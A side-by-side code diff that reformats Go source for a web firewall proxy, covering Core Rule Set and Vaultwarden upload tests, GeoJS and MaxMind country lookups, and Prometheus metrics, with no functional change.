t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body)) t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
} }
if got, _ := inspectBody(t, crs, sent.r, body); len( if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 {
got.RuleIDs, t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got)
) != 0 {
t.Errorf(
"POST %s %v set off rules: %+v",
sent.r.target,
sent.names,
got,
)
} }
} }
} }
@@ -458,9 +350,7 @@ func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
t.Parallel() t.Parallel()
crs := readingBodies(t) crs := readingBodies(t)
encrypted := vaultwardenUpload( encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=",
)
for _, target := range []string{ for _, target := range []string{
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a", vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
+1 -5
View File
@@ -236,11 +236,7 @@ func read(path string) (*maxminddb.Reader, error) {
reader, err := maxminddb.OpenBytes(data) reader, err := maxminddb.OpenBytes(data)
if err != nil { if err != nil {
return nil, fmt.Errorf( return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
"SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w",
path,
err,
)
} }
return reader, nil return reader, nil
+13 -46
View File
@@ -26,21 +26,11 @@ const (
testClient = "203.0.113.9/32" testClient = "203.0.113.9/32"
) )
func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown( func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
germany := lookuptest.Network{ germany := lookuptest.Network{ASN: "AS64496", ASName: "Example Net", Country: "DE"}
ASN: "AS64496", northKorea := lookuptest.Network{ASN: "AS64511", ASName: "Other Net", Country: "KP"}
ASName: "Example Net",
Country: "DE",
}
northKorea := lookuptest.Network{
ASN: "AS64511",
ASName: "Other Net",
Country: "KP",
}
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb") path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
lookuptest.Write(t, path, map[string]lookuptest.Network{ lookuptest.Write(t, path, map[string]lookuptest.Network{
testNetblock: germany, testNetblock: germany,
@@ -72,13 +62,7 @@ func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(
Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country, Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
Answered: now, Answered: now,
}) { }) {
t.Errorf( t.Errorf("%s has the answer %+v, want %+v, answered %s", client, got, want, now)
"%s has the answer %+v, want %+v, answered %s",
client,
got,
want,
now,
)
} }
} }
} }
@@ -138,9 +122,7 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
// reading due by then is done. The test sends the changes itself, as the // reading due by then is done. The test sends the changes itself, as the
// watch of a directory cannot run in a bubble. // watch of a directory cannot run in a bubble.
func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole( func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -155,8 +137,7 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
other := filepath.Join(dir, "replacement.mmdb") other := filepath.Join(dir, "replacement.mmdb")
writeDatabase(t, other, "KP") writeDatabase(t, other, "KP")
//nolint:gosec // a file the test wrote replacement, err := os.ReadFile(other) //nolint:gosec // a file the test wrote
replacement, err := os.ReadFile(other)
if err != nil { if err != nil {
t.Fatalf("read %s: %v", other, err) t.Fatalf("read %s: %v", other, err)
} }
@@ -195,20 +176,15 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
wantCountry(t, f, "KP") wantCountry(t, f, "KP")
if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 { if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
t.Errorf( t.Errorf("read at %s, with %d failures; want read now, with none",
"read at %s, with %d failures; want read now, with none", f.LastRead(), f.ReadFailures())
f.LastRead(),
f.ReadFailures(),
)
} }
wantAlerts(t, queue) wantAlerts(t, queue)
}) })
} }
func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert( func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -230,12 +206,8 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(
wantCountry(t, f, "DE") wantCountry(t, f, "DE")
if !f.LastRead().Equal(read) || f.ReadFailures() != 1 { if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
t.Errorf( t.Errorf("read at %s, with %d failures; want read at %s, with one",
"read at %s, with %d failures; want read at %s, with one", f.LastRead(), f.ReadFailures(), read)
f.LastRead(),
f.ReadFailures(),
read,
)
} }
wantAlerts(t, queue, alerts.Alert{ wantAlerts(t, queue, alerts.Alert{
@@ -317,11 +289,7 @@ func writeDatabase(t *testing.T, path, country string) {
t.Helper() t.Helper()
lookuptest.Write(t, path, map[string]lookuptest.Network{ lookuptest.Write(t, path, map[string]lookuptest.Network{
testNetblock: { testNetblock: {ASN: "AS64496", ASName: "Example Net", Country: country},
ASN: "AS64496",
ASName: "Example Net",
Country: country,
},
}) })
} }
@@ -381,8 +349,7 @@ func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
t.Helper() t.Helper()
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != len(want) || if len(waiting) != len(want) || (len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
(len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
t.Errorf("alerts waiting %+v, want %+v", waiting, want) t.Errorf("alerts waiting %+v, want %+v", waiting, want)
} }
+6 -22
View File
@@ -211,10 +211,7 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
// LookUpWithoutWaiting is LookUp for a request that does not need the answer, // LookUpWithoutWaiting is LookUp for a request that does not need the answer,
// whatever Wait says: it returns the zero Answer at once when none is kept. // whatever Wait says: it returns the zero Answer at once when none is kept.
func (g *GeoJS) LookUpWithoutWaiting( func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer {
ctx context.Context,
client netip.Prefix,
) Answer {
answer, _ := g.answerOrWait(ctx, client, false) answer, _ := g.answerOrWait(ctx, client, false)
return answer return answer
@@ -432,21 +429,14 @@ func (g *GeoJS) keep(
} }
if err == nil && leftOut > 0 { if err == nil && leftOut > 0 {
err = fmt.Errorf( err = fmt.Errorf("%w %d of %d addresses", errLeftOut, leftOut, len(clients))
"%w %d of %d addresses",
errLeftOut,
leftOut,
len(clients),
)
} }
if err != nil { if err != nil {
g.metrics.GeoJSFailures.Inc() g.metrics.GeoJSFailures.Inc()
g.retryDelay = min( g.retryDelay = min(max(retryDelayFactor*g.retryDelay, firstRetryDelay),
max(retryDelayFactor*g.retryDelay, firstRetryDelay), maxRetryDelay)
maxRetryDelay,
)
g.retryAt = now.Add(g.retryDelay) g.retryAt = now.Add(g.retryDelay)
g.asking = false g.asking = false
@@ -492,12 +482,7 @@ func (g *GeoJS) request(
ctx, cancel := context.WithTimeout(ctx, g.timeout) ctx, cancel := context.WithTimeout(ctx, g.timeout)
defer cancel() defer cancel()
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody)
ctx,
http.MethodGet,
g.url,
http.NoBody,
)
if err != nil { if err != nil {
return nil, fmt.Errorf("make the request to GeoJS: %w", err) return nil, fmt.Errorf("make the request to GeoJS: %w", err)
} }
@@ -529,8 +514,7 @@ func (g *GeoJS) request(
CountryCode string `json:"country_code"` CountryCode string `json:"country_code"`
} }
err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)). err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers)
Decode(&answers)
if err != nil { if err != nil {
return nil, fmt.Errorf("read GeoJS's answer: %w", err) return nil, fmt.Errorf("read GeoJS's answer: %w", err)
} }
+18 -78
View File
@@ -85,13 +85,8 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
began := time.Now() began := time.Now()
answer := g.LookUpWithoutWaiting(t.Context(), client) answer := g.LookUpWithoutWaiting(t.Context(), client)
if waited := time.Since(began); waited != 0 || if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) {
answer != (lookup.Answer{}) { t.Errorf("got %+v after %s, want no answer at once", answer, waited)
t.Errorf(
"got %+v after %s, want no answer at once",
answer,
waited,
)
} }
waitForRequests(t, geojs, 1) waitForRequests(t, geojs, 1)
@@ -105,11 +100,7 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
waitForCountry(t, g, clock, client, germany) waitForCountry(t, g, clock, client, germany)
if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany { if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
t.Errorf( t.Errorf("the kept answer gives the country %q, want %q", got, germany)
"the kept answer gives the country %q, want %q",
got,
germany,
)
} }
}) })
} }
@@ -129,9 +120,7 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
var earlier sync.WaitGroup var earlier sync.WaitGroup
earlier.Go( earlier.Go(func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) })
func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) },
)
defer earlier.Wait() defer earlier.Wait()
waitForRequests(t, geojs, 1) waitForRequests(t, geojs, 1)
@@ -163,9 +152,7 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
}) })
} }
func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt( func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -210,11 +197,7 @@ func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(
synctest.Wait() synctest.Wait()
if waited != longerTimeout { if waited != longerTimeout {
t.Errorf( t.Errorf("waited %s for the answer, want %s", waited, longerTimeout)
"waited %s for the answer, want %s",
waited,
longerTimeout,
)
} }
wantFailures(t, m, 1) wantFailures(t, m, 1)
@@ -357,11 +340,7 @@ func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
got := g.LookUp(t.Context(), client) got := g.LookUp(t.Context(), client)
if took := time.Since(began); took != 0 || got != (lookup.Answer{}) { if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
t.Errorf( t.Errorf("waited %s for %+v, want no wait and no answer", took, got)
"waited %s for %+v, want no wait and no answer",
took,
got,
)
} }
waitForRequests(t, geojs, 1) waitForRequests(t, geojs, 1)
@@ -412,10 +391,7 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) {
logged := log.String() logged := log.String()
if !strings.Contains(logged, "asking GeoJS failed") || if !strings.Contains(logged, "asking GeoJS failed") ||
strings.Contains(logged, "203.0.113.9") { strings.Contains(logged, "203.0.113.9") {
t.Errorf( t.Errorf("logged %q, want the failure without the address asked about", logged)
"logged %q, want the failure without the address asked about",
logged,
)
} }
}) })
} }
@@ -454,10 +430,7 @@ func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) {
} }
if queue.Suppressed() != 1 { if queue.Suppressed() != 1 {
t.Errorf( t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
"%d alerts held back, want the repeat",
queue.Suppressed(),
)
} }
}) })
} }
@@ -481,21 +454,11 @@ func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) {
clock.advance(time.Second) clock.advance(time.Second)
wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany) wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
wantRequests(t, geojs, 2) wantRequests(t, geojs, 2)
wantAsked( wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3")
t,
geojs,
1,
"203.0.113.1",
"203.0.113.2",
"2001:db8:1:2::",
"203.0.113.3",
)
}) })
} }
func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff( func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -540,10 +503,7 @@ func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(
asked := waitForRequests(t, geojs, requests+1) asked := waitForRequests(t, geojs, requests+1)
if len(asked[requests]) != 23 { if len(asked[requests]) != 23 {
t.Errorf( t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests]))
"GeoJS was asked about %d clients, want 23",
len(asked[requests]),
)
} }
}) })
} }
@@ -571,11 +531,8 @@ func TestAtMost200AddressesInOneRequest(t *testing.T) {
asked := waitForRequests(t, geojs, 3) asked := waitForRequests(t, geojs, 3)
if len(asked[1]) != 200 || len(asked[2]) != 1 { if len(asked[1]) != 200 || len(asked[2]) != 1 {
t.Errorf( t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1",
"GeoJS was asked about %d and then %d clients, want 200 and 1", len(asked[1]), len(asked[2]))
len(asked[1]),
len(asked[2]),
)
} }
}) })
} }
@@ -730,11 +687,7 @@ func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) {
switch { switch {
case addr == unplaced: case addr == unplaced:
item = map[string]any{ item = map[string]any{"ip": addr, "asn": 64512, "organization_name": "Unknown"}
"ip": addr,
"asn": 64512,
"organization_name": "Unknown",
}
case addr == leftOut && answers == answeringWithoutLeftOut: case addr == leftOut && answers == answeringWithoutLeftOut:
continue continue
case answers == answeringInLowerCase: case answers == answeringInLowerCase:
@@ -851,12 +804,7 @@ func newClients() func() netip.Prefix {
} }
// wantCountry checks the country g gives client. // wantCountry checks the country g gives client.
func wantCountry( func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) {
t *testing.T,
g *lookup.GeoJS,
client netip.Prefix,
want string,
) {
t.Helper() t.Helper()
got := g.LookUp(t.Context(), client).Country got := g.LookUp(t.Context(), client).Country
@@ -895,11 +843,7 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) {
// wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having // wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
// gone without an answer from GeoJS. // gone without an answer from GeoJS.
func wantRequestsWithoutGeoJSAnswer( func wantRequestsWithoutGeoJSAnswer(t *testing.T, m *metrics.Metrics, want float64) {
t *testing.T,
m *metrics.Metrics,
want float64,
) {
t.Helper() t.Helper()
got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer) got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
@@ -939,11 +883,7 @@ func waitForRequests(t *testing.T, geojs *standIn, count int) [][]string {
// It then checks that client's next request does not wait but has it asked // It then checks that client's next request does not wait but has it asked
// about again in the background, after which g gives it the country want. // about again in the background, after which g gives it the country want.
func waitForCountry( func waitForCountry(
t *testing.T, t *testing.T, g *lookup.GeoJS, clock *testClock, client netip.Prefix, want string,
g *lookup.GeoJS,
clock *testClock,
client netip.Prefix,
want string,
) { ) {
t.Helper() t.Helper()
+1 -5
View File
@@ -45,11 +45,7 @@ func Write(tb testing.TB, path string, networks map[string]Network) {
// WriteRecords writes a lookup database at path that holds each record in // WriteRecords writes a lookup database at path that holds each record in
// records for its netblock, and nothing for any other address. // records for its netblock, and nothing for any other address.
func WriteRecords( func WriteRecords(tb testing.TB, path string, records map[string]mmdbtype.Map) {
tb testing.TB,
path string,
records map[string]mmdbtype.Map,
) {
tb.Helper() tb.Helper()
tree, err := mmdbwriter.New(mmdbwriter.Options{ tree, err := mmdbwriter.New(mmdbwriter.Options{
+1 -4
View File
@@ -59,10 +59,7 @@ func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) {
g.Load([]lookup.Answer{kept, stale}) g.Load([]lookup.Answer{kept, stale})
if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) { if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) {
t.Errorf( t.Errorf("kept %+v, want only the answer GeoJS gave less than 7 days ago", got)
"kept %+v, want only the answer GeoJS gave less than 7 days ago",
got,
)
} }
wantCountry(t, g, kept.Client, "FR") wantCountry(t, g, kept.Client, "FR")
+3 -9
View File
@@ -41,11 +41,9 @@ type busiest struct {
// for the topN busiest countries. // for the topN busiest countries.
func newCountries(topN int) *busiest { func newCountries(topN int) *busiest {
countries := newBusiest(topN, "country", "the client's country") countries := newBusiest(topN, "country", "the client's country")
countries.refused = counterVec( countries.refused = counterVec("sww_country_list_refusals_total",
"sww_country_list_refusals_total",
"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.", "Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
[]string{"country"}, []string{"country"})
)
return countries return countries
} }
@@ -92,11 +90,7 @@ func (b *busiest) Collect(ch chan<- prometheus.Metric) {
// vecs returns the metrics: by AS number, those of requests and bytes; by // vecs returns the metrics: by AS number, those of requests and bytes; by
// country, the refusals by the country list as well. // country, the refusals by the country list as well.
func (b *busiest) vecs() []*prometheus.CounterVec { func (b *busiest) vecs() []*prometheus.CounterVec {
vecs := []*prometheus.CounterVec{ vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes}
b.requests,
b.requestBytes,
b.responseBytes,
}
if b.refused != nil { if b.refused != nil {
vecs = append(vecs, b.refused) vecs = append(vecs, b.refused)
} }
+47 -109
View File
@@ -79,19 +79,14 @@ func New(topN int, instanceName string) *Metrics {
Name: "sww_requests_in_flight", Name: "sww_requests_in_flight",
Help: "Requests under way.", Help: "Requests under way.",
}), }),
requests: counterVec( requests: counterVec("sww_requests_total",
"sww_requests_total", "Requests, by the class of their status and their action.", byStatus),
"Requests, by the class of their status and their action.",
byStatus,
),
requestBytes: counterVec("sww_request_bytes_total", requestBytes: counterVec("sww_request_bytes_total",
"Request body bytes, by the class of the status and the action.", "Request body bytes, by the class of the status and the action.",
byStatus), byStatus),
responseBytes: counterVec( responseBytes: counterVec("sww_response_bytes_total",
"sww_response_bytes_total",
"Response body bytes, by the class of the status and the action.", "Response body bytes, by the class of the status and the action.",
byStatus, byStatus),
),
requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{ requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
Name: "sww_request_duration_seconds", Name: "sww_request_duration_seconds",
Help: "How long requests took, from their arrival to their end.", Help: "How long requests took, from their arrival to their end.",
@@ -100,20 +95,15 @@ func New(topN int, instanceName string) *Metrics {
Name: "sww_upstream_duration_seconds", Name: "sww_upstream_duration_seconds",
Help: "How long requests passed to the app took, from then to their end.", Help: "How long requests passed to the app took, from then to their end.",
}), }),
rateLimitHits: counterVec( rateLimitHits: counterVec("sww_rate_limit_hits_total",
"sww_rate_limit_hits_total",
"Requests that broke a rate limit, a byte limit or the error burst, by "+ "Requests that broke a rate limit, a byte limit or the error burst, by "+
"its window and its kind, requests, bytes or refusals.", "its window and its kind, requests, bytes or refusals.",
[]string{"window", "kind"}, []string{"window", "kind"}),
),
offences: counterVec("sww_offences_total", offences: counterVec("sww_offences_total",
"Offences, by kind.", []string{"kind"}), "Offences, by kind.", []string{"kind"}),
coreRuleSetMatches: counterVec( coreRuleSetMatches: counterVec("sww_core_rule_set_matches_total",
"sww_core_rule_set_matches_total",
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+ "Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
"and the rule's id.", "and the rule's id.", []string{"mode", "rule_id"}),
[]string{"mode", "rule_id"},
),
countries: newCountries(topN), countries: newCountries(topN),
asns: newASNs(topN), asns: newASNs(topN),
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{ GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
@@ -124,41 +114,26 @@ func New(topN int, instanceName string) *Metrics {
Name: "sww_geojs_failures_total", Name: "sww_geojs_failures_total",
Help: "Requests to GeoJS that failed.", Help: "Requests to GeoJS that failed.",
}), }),
RequestsWithoutGeoJSAnswer: prometheus.NewCounter( RequestsWithoutGeoJSAnswer: prometheus.NewCounter(prometheus.CounterOpts{
prometheus.CounterOpts{ Name: "sww_requests_without_geojs_answer_total",
Name: "sww_requests_without_geojs_answer_total", Help: "Requests that needed their client's answer from GeoJS and " +
Help: "Requests that needed their client's answer from GeoJS and " + "went on without it, because GeoJS had not given it in time.",
"went on without it, because GeoJS had not given it in time.", }),
},
),
stateFileWrites: counterVec("sww_state_file_writes_total", stateFileWrites: counterVec("sww_state_file_writes_total",
"Writes of each state or cache file.", byFile), "Writes of each state or cache file.", byFile),
stateFileWriteFailures: counterVec( stateFileWriteFailures: counterVec("sww_state_file_write_failures_total",
"sww_state_file_write_failures_total", "Writes of each state or cache file that failed.", byFile),
"Writes of each state or cache file that failed.", stateFileLastWrite: gaugeVec("sww_state_file_last_write_timestamp_seconds",
byFile,
),
stateFileLastWrite: gaugeVec(
"sww_state_file_last_write_timestamp_seconds",
"When each state or cache file was last written, in seconds since 1970.", "When each state or cache file was last written, in seconds since 1970.",
byFile, byFile),
), stateFileSize: gaugeVec("sww_state_file_size_bytes",
stateFileSize: gaugeVec( "The size of each state or cache file, as it was last written.", byFile),
"sww_state_file_size_bytes", stateFileEditsTakenIn: counterVec("sww_state_file_edits_taken_in_total",
"The size of each state or cache file, as it was last written.", "Edits of each state or cache file taken in while running.", byFile),
byFile, stateFileEditsSetAside: counterVec("sww_state_file_edits_set_aside_total",
),
stateFileEditsTakenIn: counterVec(
"sww_state_file_edits_taken_in_total",
"Edits of each state or cache file taken in while running.",
byFile,
),
stateFileEditsSetAside: counterVec(
"sww_state_file_edits_set_aside_total",
"Edits of each state or cache file renamed to <name>.bad because they "+ "Edits of each state or cache file renamed to <name>.bad because they "+
"did not parse.", "did not parse.",
byFile, byFile),
),
} }
m.registry.MustRegister( m.registry.MustRegister(
@@ -187,15 +162,13 @@ func (m *Metrics) AddBansAndClients(
for _, cause := range []string{ for _, cause := range []string{
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec, bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
} { } {
m.registry.MustRegister( m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
prometheus.NewCounterFunc(prometheus.CounterOpts{ Name: "sww_bans_made_total",
Name: "sww_bans_made_total", Help: "Bans made, by cause.",
Help: "Bans made, by cause.", ConstLabels: prometheus.Labels{"cause": cause},
ConstLabels: prometheus.Labels{"cause": cause}, }, func() float64 {
}, func() float64 { return float64(ledger.Made(cause))
return float64(ledger.Made(cause)) }))
}),
)
} }
m.registry.MustRegister( m.registry.MustRegister(
@@ -229,11 +202,9 @@ func (m *Metrics) AddBansAndClients(
// ruleFiles, read as the metrics are asked for. It is called once, before // ruleFiles, read as the metrics are asked for. It is called once, before
// RuleMatched. // RuleMatched.
func (m *Metrics) AddRules(ruleFiles *rules.Files) { func (m *Metrics) AddRules(ruleFiles *rules.Files) {
m.ruleMatches = counterVec( m.ruleMatches = counterVec("sww_rule_matches_total",
"sww_rule_matches_total",
"Requests that matched a rule of the rule files, by its id and action.", "Requests that matched a rule of the rule files, by its id and action.",
[]string{"rule_id", "action"}, []string{"rule_id", "action"})
)
m.registry.MustRegister(m.ruleMatches, m.registry.MustRegister(m.ruleMatches,
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
@@ -276,10 +247,7 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
// returns, and the replacements of it that could not be read, which // returns, and the replacements of it that could not be read, which
// readFailures returns. The lookup package's File, which has both, cannot // readFailures returns. The lookup package's File, which has both, cannot
// be named here: that package counts GeoJS's requests in these metrics. // be named here: that package counts GeoJS's requests in these metrics.
func (m *Metrics) AddLookupFile( func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) {
lastRead func() time.Time,
readFailures func() int,
) {
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "sww_lookup_database_last_read_timestamp_seconds", Name: "sww_lookup_database_last_read_timestamp_seconds",
@@ -308,38 +276,24 @@ const sourceLabel = "source"
// metrics are asked for, for a list, the fetches that failed and when the // metrics are asked for, for a list, the fetches that failed and when the
// copy in use was fetched, and for a zone, the queries made and those that // copy in use was fetched, and for a zone, the queries made and those that
// failed. It is called once, before ReputationHit. // failed. It is called once, before ReputationHit.
func (m *Metrics) AddReputation( func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
lists *reputation.Lists, m.reputationHits = counterVec("sww_reputation_hits_total",
dnsbl *reputation.DNSBL,
) {
m.reputationHits = counterVec(
"sww_reputation_hits_total",
"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+ "Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.", "zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
[]string{sourceLabel}, []string{sourceLabel})
)
m.registry.MustRegister(m.reputationHits) m.registry.MustRegister(m.reputationHits)
for _, zone := range dnsbl.Zones() { for _, zone := range dnsbl.Zones() {
source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)} source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
m.addReputationQueries( m.addReputationQueries(source, func() int { return dnsbl.Queries(zone) })
source, m.addReputationFailures(source, func() int { return dnsbl.Failures(zone) })
func() int { return dnsbl.Queries(zone) },
)
m.addReputationFailures(
source,
func() int { return dnsbl.Failures(zone) },
)
} }
for _, listURL := range lists.URLs() { for _, listURL := range lists.URLs() {
source := prometheus.Labels{sourceLabel: listURL} source := prometheus.Labels{sourceLabel: listURL}
m.addReputationFailures( m.addReputationFailures(source, func() int { return lists.Failures(listURL) })
source,
func() int { return lists.Failures(listURL) },
)
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "sww_reputation_last_fetch_timestamp_seconds", Name: "sww_reputation_last_fetch_timestamp_seconds",
@@ -441,10 +395,7 @@ func (m *Metrics) RequestStarted() {
// RequestEnded counts a request that has ended without being passed to the app, // RequestEnded counts a request that has ended without being passed to the app,
// from its log line. duration is how long the request took. // from its log line. duration is how long the request took.
func (m *Metrics) RequestEnded( func (m *Metrics) RequestEnded(line *requestlog.Line, duration time.Duration) {
line *requestlog.Line,
duration time.Duration,
) {
m.inFlight.Dec() m.inFlight.Dec()
m.count(line, duration, 0) m.count(line, duration, 0)
} }
@@ -536,10 +487,8 @@ func (m *Metrics) count(
) { ) {
class := statusClass(line.Status) class := statusClass(line.Status)
m.requests.WithLabelValues(class, line.Action).Inc() m.requests.WithLabelValues(class, line.Action).Inc()
m.requestBytes.WithLabelValues(class, line.Action). m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes))
Add(float64(line.RequestBytes)) m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes))
m.responseBytes.WithLabelValues(class, line.Action).
Add(float64(line.ResponseBytes))
m.requestDuration.Observe(duration.Seconds()) m.requestDuration.Observe(duration.Seconds())
if upstreamDuration > 0 { if upstreamDuration > 0 {
@@ -557,10 +506,7 @@ func (m *Metrics) count(
// addReputationQueries adds the counter of the queries to source, a DNSBL // addReputationQueries adds the counter of the queries to source, a DNSBL
// zone, or of the checks of clients with AbuseIPDB, which count tells. // zone, or of the checks of clients with AbuseIPDB, which count tells.
func (m *Metrics) addReputationQueries( func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) {
source prometheus.Labels,
count func() int,
) {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_reputation_queries_total", Name: "sww_reputation_queries_total",
Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.", Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
@@ -573,10 +519,7 @@ func (m *Metrics) addReputationQueries(
// addReputationFailures adds the counter of the fetches of source, a // addReputationFailures adds the counter of the fetches of source, a
// list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB, // list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB,
// that failed, which count tells. // that failed, which count tells.
func (m *Metrics) addReputationFailures( func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) {
source prometheus.Labels,
count func() int,
) {
